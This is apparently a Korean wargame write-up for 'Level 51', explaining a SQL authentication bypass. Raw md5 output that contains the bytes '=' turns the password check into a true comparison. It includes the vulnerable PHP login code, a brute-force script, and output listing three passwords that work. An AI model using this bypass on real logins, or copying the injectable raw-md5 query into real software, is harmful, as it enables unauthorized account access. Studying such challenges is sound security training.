Level 51
id 와 pw 를 입력받는다.
<? if($_POST[id] && $_POST[pw]) { $input_id=$_POST[id]; $input_pw=md5($_POST[pw],true); $q=@mysql_fetch_array(mysql_query("select id from challenge_51_admin where id='$input_id' and pw='$input_pw'")); if($q[id]=="admin") { @solve(51,250); } if($q[id]!="admin") echo("<center><font color=green><h1>Wrong</h1></font></center>"); } ?>
$input_pw
에 md5($_POST[pw], true);
로 얻은 값는 넣는다.
md5에 true값을 넣게 되면 md5된 값의 바이너리 값을 리턴한다.
defualt는 false로 hex값을 리턴한다.
만약 바이너리 값에 '=' 라는 값이 나오면 어떻게 될까?
실제 테스트해 보았다.
3개의 데이터를 만들고 테스트 하였다.
결과를 살펴보면 'aaa'=(거짓값) 이 들거가면 'aaa'를 제외한 모든 값이 출력된다. 이를 pw에 적용해보자.
위에 부터 쿼리문을 이해해보자.
select * from test where id='aaa' and pw='bbb'=true;
앞부분은 생략하고 pw='bbb' 이부분이 거짓이다. 그런데 거짓=사실 이라고 했으므로 결과는 거짓이다.
select * from test where id='aaa' and pw='bbb'=false;
pw='bbb'는 거짓, 거짓=거짓 이므로 결과는 참이 되어 id='aaa'인 값이 출력되었다.
select * from test where id='aaa' and pw='AAA'=false;
pw='AAA'는 참, 참=거짓 이므로 결과는 거짓
select * from test where id='aaa' and pw='AAA'=true;
pw='AAA'는 참, 참=참 이므로 결과는 참이 되어 id='aaa'인 값이 출력된다.
문제로 돌아가서.
select id from challenge_51_admin where id='$input_id' and pw='$input_pw'
위 퀴리문에서 pw부분에 바이너리 값이 들어가게 된다.
바이너리 값이 #^$*(#*&'='#$*&#)
라는 값이 있다면,
pw='#^$*&'
= '#$*&#'
이 되어, 거짓 = 거짓. 따라서 최종적으로 '참'이 되어 쿼리문을 통과하게 된다.
따라서 우리는 md5(,true) 로 가운데에 '='
라는 값이 출력되는 값을 찾으면 된다.
<?php for($i = 1000000; $i<10000000; $i++){ $get_md5 = md5($i, true); if(strstr($get_md5, "'='")){ echo "md5 : "; echo $i; echo "\r\n"; echo "md5 true binary : "; echo $get_md5; echo "\r\n"; } $i++; } ?>
root@kali:/var/www/html# php prob51.php md5 : 2584670 md5 true binary : ߋ'='N/�*{��1 md5 : 5872358 md5 true binary : Y�T�v��+��'='�� md5 : 9235566 md5 true binary : ��'='ә�0�����
출력된 값 '2584670', '5872358', '9235566' 중 아무거나 pw로 넣으면 된다.